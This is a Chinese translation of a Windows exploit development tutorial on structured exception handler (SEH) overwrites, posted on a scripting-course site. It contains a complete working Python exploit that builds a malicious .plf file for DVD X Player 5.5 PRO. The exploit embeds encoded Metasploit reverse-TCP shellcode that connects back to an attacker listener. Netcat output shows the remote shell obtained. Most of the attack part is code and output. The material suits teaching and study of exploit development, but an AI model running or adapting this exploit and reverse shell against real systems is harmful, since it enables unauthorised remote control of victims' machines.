欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[翻译]Windows Exploit开发系列教程第三部分:Structured Exception Handler (SEH)

[翻译]Windows Exploit开发系列教程第三部分:Structured Exception Handler (SEH)

译者:Netfairy
前言
这一节介绍漏洞利用中你会遇到的真正障碍. SEH用于缓解缓冲区攻击造成的问题. 但它也是有缺陷的. 先说明本文不会讨论SafeSeh或者SEHOP, 稍后的Part 3b会解决这些保护机制. 我将用’ DVD X Player 5.5 PRO’演示SEH利用. 已有的漏洞利用程序:这里
通常情况下漏洞利用之前我们需要先分析程序的坏字符, 但为了专注于SEH技术, 我简单的把坏字符列出来:’\x00\x0a\x0d\x1a’. 请记住它们.
利用环境: Backtrack 5
调试机器: Winows XP PRO SP3
漏洞软件: 下载
异常处理介绍
像第一部分说的那样, 我不会解释SEH全部细节, 但我会给你足够的信息了解它. 我非常建议你做更深层次的研究. SEH是Windows系统的一项机制, 它使用链表结构记录一系列数据. 当一个异常触发, 操作系统会遍历这个链表. 异常处理程序可以评估能否处理这个异常, 不能的话就传给链表的下一个处理函数. 处理异常必须满足两个要去:(1)一个指向当前异常处理函数的指针(SEH) (2)指向下一个异常处理结构的指针(Nseh). 因为Windows堆栈是向下生长的, 所以我们看到异常处理结构是颠倒的[nSEH…[SEH]. 当一个异常出现, 最近一个nSEH的地址会保存在esp+8地址处.
你可能会想这和漏洞利用有什么关系. 如果我们能够控制一大块缓冲区并且覆写其中一个异常处理函数, 异常发生时候Windows会把寄存器清0, 因此不能直接跳到Shellcode. 幸运的是这个保护机制有缺陷, 我们只需要用pop pop retn 指令地址覆盖掉SEH. 记住esp+8处保存着nSEH的地址, pop pop retn执行后程序最终会跳到nSEH处执行. 我们可以控制nSEH这四个字节的空间, 通过在这四个字节空间写入指令跳转到Shellcode.
这听起来有点复杂, 实际上SEH利用十分简单, 下面的例子将会演示SEH利用.
重现崩溃
下面是文件格式的漏洞利用框架, 我们会创建一个.plf文件, 写入很多字符. 稍后DVD Player读取这个文件就会造成缓冲区溢出.(这与通过TCP或UDP发送超长字符串有很大不同). 唯一的缺点是我们需要欺骗受害者打开这个文件.

#!/usr/bin/python -w

filename="evil.plf"

buffer = "A"*2000

textfile = open(filename , 'w')

textfile.write(buffer)

textfile.close()

创建plf文件, 用immunity debugger附加播放器并打开这个播放文件, 正如预期那样, 播放器崩溃了. Shift+F9跳过初始异常(因为初始的异常会导致不同的漏洞利用技术而我们只关心SEH). 你可以看到下面的CPU寄存器截图(你会注意到一个寄存器已经被清零了)另外一张图显示我们已经覆写掉SEH记录.



覆写SEH和Nseh

接下来用metasploit模式字符串替换原字符串(注意保持缓冲区长度一致).
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/

root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 2000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A

d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah

0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5

[...snip...]

f5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj

0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5

Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co


重复前面步骤, 用mona分析崩溃. 如下图, 我们关心的是覆写SEH, 从图中可以知道612字节可以覆盖到SEH.

不错, 接下来我们用下面这样子来替换前面代码相应部分. 
buffer = "A"*608 + [nSEH] + [SEH] + "D"*1384
buffer = "A"*608 + "B"*4 + "C"*4 + "D"*1384
记住我们要把要用pop pop retn 指令覆写SEH,.用mona的
!mona seh
可以帮助我们找到这条指令.看下图, 值得一提的是, mona已经过滤掉来自SafeSEH模块的指针.

这些地址大部分都可以用, 记住不包含坏字符即可. 通常我会选择pop pop retn而不是pop pop retn n. 在immunity debugger 的安装目录下找到SEH.txt, 里面有2968个合法的指针. 有序小序的CPU架构, 需要扭转字节顺序.
Pointer: 0x61617619 : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)
Buffer: buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384
我们先不管nSEH, 在调试的时候再看看需要填充什么才合适. 注意pop pop retn指令来自DVD Player的EPG.dll模块, 这意味着这个漏洞利用程序更稳定, 新的POC看起来像下面这样子:
#!/usr/bin/python -w

  

filename="evil.plf"

 

#---------------------------------------------------------------------------#

# (*) badchars = '\x00\x0A\x0D\x1A'                                         #

#                                                                           #

# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                          #

# (2) nseh = ????                                                           #

# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                 #

# (3) Shellcode space = 1384-bytes                                          #

#---------------------------------------------------------------------------#

 

buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384

  

textfile = open(filename , 'w')

textfile.write(buffer)

textfile.close()


重新生成plf文件并调试打开它, Shift+F9通过第一次异常后触发了我们的断点. 如下图

完美, 如果继续F7单步执行, 最终程序会执行到BBBB(Nseh). 我们可以看到覆盖在SEH的指针被转化为操作码, 我们可以用Shellcode替换SEH后面的”D”*1384, 现在只需要在nSEH写入跳转指令以便跳到”D”*1384,也就是Shellcode. 可以用调试器完成, 观察下面的图:

nSEH

Assemble jmp

Jmp opcode
我们需要往后跳至少4个字节(\x90\x90+SEH)才能跳到位于SEH之后的Shellcode, 新的缓冲区布置如下:
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + "D"*1384

shellcode+游戏结束

这一系列工作完成. 我们还需要为EXP加上我们的Shellcode. 像以前那样动态计算空间, 改变Shellcode就会很容易. 像下面, Shellcode变量可以放进任何我们想要执行的代码.
#!/usr/bin/python -w

 

filename="evil.plf"

 

Shellcode = (

)

 

#----------------------------------------------------------------------------------#

# (*) badchars = '\x00\x0A\x0D\x1A'                                                #

#                                                                                  #

# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                                 #

# (2) nseh = '\xEB\x06' => jump short 6-bytes                                      #

# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                        #

# (3) Shellcode space = 1384-bytes                                                 #

#----------------------------------------------------------------------------------#

# SEH Exploit Structure:                                                           #

#                                    \---------------->                            #

#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #

#     \-------------------------------------->                                     #

#                                     <-------/                                    #

# (1) Initial overwrite, SEH leads us back 4-bytes to nSEH                         #

# (2) nSEH jumps over SEH and redirects execution to our B's                       #

# (3) We place our Shellcode here ... Game Over!                                   #

#----------------------------------------------------------------------------------#

 

evil = "\x90"*20 + Shellcode

buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + evil + "B"*(1384-len(evil))

  

textfile = open(filename , 'w')

textfile.write(buffer)

textfile.close()


是时候去生成一些Shellcode了, 为了不重复这次我决定使用反连Shell…
root@bt:~# msfpayload -l

[...snip...]

windows/Shell_bind_tcp_xpfw       Disable the Windows ICF, then listen for a connection and spawn a 

                                  command Shell

windows/Shell_reverse_tcp         Connect back to attacker and spawn a command Shell

windows/speak_pwned               Causes the target to say "You Got Pwned" via the Windows Speech API

[...snip...]

root@bt:~# msfpayload windows/Shell_reverse_tcp O

       Name: Windows Command Shell, Reverse TCP Inline

     Module: payload/windows/Shell_reverse_tcp

    Version: 8642

   Platform: Windows

       Arch: x86

Needs Admin: No

 Total size: 314

       Rank: Normal

Provided by:

  vlad902 <vlad902@gmail.com>

  sf <stephen_fewer@harmonysecurity.com>

Basic options:

Name      Current Setting  Required  Description

----      ---------------  --------  -----------

EXITFUNC  process          yes       Exit technique: seh, thread, process, none

LHOST                      yes       The listen address

LPORT     4444             yes       The listen port

Description:

  Connect back to attacker and spawn a command Shell

  

root@bt:~# msfpayload windows/Shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b 

           '\x00\x0A\x0D\x1A' -t c

[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

unsigned char buf[] = 

"\xba\x6f\x3d\x04\x90\xd9\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"

"\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8d\xc8\xf8\x78\xd8"

"\x33\x01\x79\xba\xba\xe4\x48\xe8\xd9\x6d\xf8\x3c\xa9\x20\xf1"

"\xb7\xff\xd0\x82\xb5\xd7\xd7\x23\x73\x0e\xd9\xb4\xb2\x8e\xb5"

"\x77\xd5\x72\xc4\xab\x35\x4a\x07\xbe\x34\x8b\x7a\x31\x64\x44"

"\xf0\xe0\x98\xe1\x44\x39\x99\x25\xc3\x01\xe1\x40\x14\xf5\x5b"

"\x4a\x45\xa6\xd0\x04\x7d\xcc\xbe\xb4\x7c\x01\xdd\x89\x37\x2e"

"\x15\x79\xc6\xe6\x64\x82\xf8\xc6\x2a\xbd\x34\xcb\x33\xf9\xf3"

"\x34\x46\xf1\x07\xc8\x50\xc2\x7a\x16\xd5\xd7\xdd\xdd\x4d\x3c"

"\xdf\x32\x0b\xb7\xd3\xff\x58\x9f\xf7\xfe\x8d\xab\x0c\x8a\x30"

"\x7c\x85\xc8\x16\x58\xcd\x8b\x37\xf9\xab\x7a\x48\x19\x13\x22"

"\xec\x51\xb6\x37\x96\x3b\xdf\xf4\xa4\xc3\x1f\x93\xbf\xb0\x2d"

"\x3c\x6b\x5f\x1e\xb5\xb5\x98\x61\xec\x01\x36\x9c\x0f\x71\x1e"

"\x5b\x5b\x21\x08\x4a\xe4\xaa\xc8\x73\x31\x7c\x99\xdb\xea\x3c"

"\x49\x9c\x5a\xd4\x83\x13\x84\xc4\xab\xf9\xb3\xc3\x3c\xc2\x6c"

"\xa4\x38\xaa\x6e\x3a\x66\x2f\xe6\xdc\x02\x3f\xae\x77\xbb\xa6"

"\xeb\x03\x5a\x26\x26\x83\xff\xb5\xad\x53\x89\xa5\x79\x04\xde"

"\x18\x70\xc0\xf2\x03\x2a\xf6\x0e\xd5\x15\xb2\xd4\x26\x9b\x3b"

"\x98\x13\xbf\x2b\x64\x9b\xfb\x1f\x38\xca\x55\xc9\xfe\xa4\x17"

"\xa3\xa8\x1b\xfe\x23\x2c\x50\xc1\x35\x31\xbd\xb7\xd9\x80\x68"

"\x8e\xe6\x2d\xfd\x06\x9f\x53\x9d\xe9\x4a\xd0\xad\xa3\xd6\x71"

"\x26\x6a\x83\xc3\x2b\x8d\x7e\x07\x52\x0e\x8a\xf8\xa1\x0e\xff"

"\xfd\xee\x88\xec\x8f\x7f\x7d\x12\x23\x7f\x54";


加上一些注释, 最后的EXP如下:
#!/usr/bin/python -w

 

#----------------------------------------------------------------------------------#

# Exploit: DVD X Player 5.5 Pro SEH (local BOF)                                    #

# OS: Tested XP PRO SP3 (EPG.dll should be universal)                              #

# Author: b33f (Ruben Boonen)                                                      #

# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications       #

#           /cdfda7217304f4deb7d2e8feb5696394-DVDXPlayerSetup.exe                  #

#----------------------------------------------------------------------------------#

# This exploit was created for Part 3 of my Exploit Development tutorial series... #

# http://www.fuzzysecurity.com/tutorials/expDev/3.html                             #

#----------------------------------------------------------------------------------#

# root@bt:~# nc -lvp 9988                                                          #

# listening on [any] 9988 ...                                                      #

# 192.168.111.128: inverse host lookup failed: Unknown server error                #

# connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1044               #

# Microsoft Windows XP [Version 5.1.2600]                                          #

# (C) Copyright 1985-2001 Microsoft Corp.                                          #

#                                                                                  #

# G:\tutorial>ipconfig                                                             #

# ipconfig                                                                         #

#                                                                                  #

# Windows IP Configuration                                                         #

#                                                                                  #

#                                                                                  #

# Ethernet adapter Local Area Connection:                                          #

#                                                                                  #

#         Connection-specific DNS Suffix  . : localdomain                          #

#         IP Address. . . . . . . . . . . . : 192.168.111.128                      #

#         Subnet Mask . . . . . . . . . . . : 255.255.255.0                        #

#         Default Gateway . . . . . . . . . :                                      #

#                                                                                  #

# G:\tutorial>                                                                     #

#----------------------------------------------------------------------------------#

  

filename="evil.plf"

 

#---------------------------------------------------------------------------------------------------------------#

# msfpayload windows/Shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b '\x00\x0A\x0D\x1A' -t c #

# [*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)                                                  #

#---------------------------------------------------------------------------------------------------------------#

Shellcode = (

"\xba\x6f\x3d\x04\x90\xd9\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"

"\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8d\xc8\xf8\x78\xd8"

"\x33\x01\x79\xba\xba\xe4\x48\xe8\xd9\x6d\xf8\x3c\xa9\x20\xf1"

"\xb7\xff\xd0\x82\xb5\xd7\xd7\x23\x73\x0e\xd9\xb4\xb2\x8e\xb5"

"\x77\xd5\x72\xc4\xab\x35\x4a\x07\xbe\x34\x8b\x7a\x31\x64\x44"

"\xf0\xe0\x98\xe1\x44\x39\x99\x25\xc3\x01\xe1\x40\x14\xf5\x5b"

"\x4a\x45\xa6\xd0\x04\x7d\xcc\xbe\xb4\x7c\x01\xdd\x89\x37\x2e"

"\x15\x79\xc6\xe6\x64\x82\xf8\xc6\x2a\xbd\x34\xcb\x33\xf9\xf3"

"\x34\x46\xf1\x07\xc8\x50\xc2\x7a\x16\xd5\xd7\xdd\xdd\x4d\x3c"

"\xdf\x32\x0b\xb7\xd3\xff\x58\x9f\xf7\xfe\x8d\xab\x0c\x8a\x30"

"\x7c\x85\xc8\x16\x58\xcd\x8b\x37\xf9\xab\x7a\x48\x19\x13\x22"

"\xec\x51\xb6\x37\x96\x3b\xdf\xf4\xa4\xc3\x1f\x93\xbf\xb0\x2d"

"\x3c\x6b\x5f\x1e\xb5\xb5\x98\x61\xec\x01\x36\x9c\x0f\x71\x1e"

"\x5b\x5b\x21\x08\x4a\xe4\xaa\xc8\x73\x31\x7c\x99\xdb\xea\x3c"

"\x49\x9c\x5a\xd4\x83\x13\x84\xc4\xab\xf9\xb3\xc3\x3c\xc2\x6c"

"\xa4\x38\xaa\x6e\x3a\x66\x2f\xe6\xdc\x02\x3f\xae\x77\xbb\xa6"

"\xeb\x03\x5a\x26\x26\x83\xff\xb5\xad\x53\x89\xa5\x79\x04\xde"

"\x18\x70\xc0\xf2\x03\x2a\xf6\x0e\xd5\x15\xb2\xd4\x26\x9b\x3b"

"\x98\x13\xbf\x2b\x64\x9b\xfb\x1f\x38\xca\x55\xc9\xfe\xa4\x17"

"\xa3\xa8\x1b\xfe\x23\x2c\x50\xc1\x35\x31\xbd\xb7\xd9\x80\x68"

"\x8e\xe6\x2d\xfd\x06\x9f\x53\x9d\xe9\x4a\xd0\xad\xa3\xd6\x71"

"\x26\x6a\x83\xc3\x2b\x8d\x7e\x07\x52\x0e\x8a\xf8\xa1\x0e\xff"

"\xfd\xee\x88\xec\x8f\x7f\x7d\x12\x23\x7f\x54")

 

#----------------------------------------------------------------------------------#

# (*) badchars = '\x00\x0A\x0D\x1A'                                                #

#                                                                                  #

# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                                 #

# (2) nseh = '\xEB\x06' => jump short 6-bytes                                      #

# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                        #

# (3) Shellcode space = 1384-bytes                                                 #

#----------------------------------------------------------------------------------#

# SEH Exploit Structure:                                                           #

#                                    \---------------->                            #

#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #

#     \-------------------------------------->                                     #

#                                     <-------/                                    #

# (1) Initial EIP overwrite, SEH leads us back 4-bytes to nSEH                     #

# (2) nSEH jumps over SEH and redirects execution to our B's                       #

# (3) We place our Shellcode here ... Game Over!                                   #

#----------------------------------------------------------------------------------#

 

evil = "\x90"*20 + Shellcode

buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + evil + "B"*(1384-len(evil))

  

textfile = open(filename , 'w')

textfile.write(buffer)

textfile.close()


在下面的截图中我们可以看到, EXP执行后我们得到一个反连Shell。游戏结束! !

root@bt:~/Desktop# nc -lvp 9988
listening on [any] 9988 ...
192.168.111.128: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1044
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
G:\tutorial>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 
G:\tutorial>
附上原文:http://www.fuzzysecurity.com/tutorials/expDev/3.html

上传的附件 image1.png
image2.png
image3.png
image4.png
image5.png
image6.png
image7.png
image8.png
image9.png

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功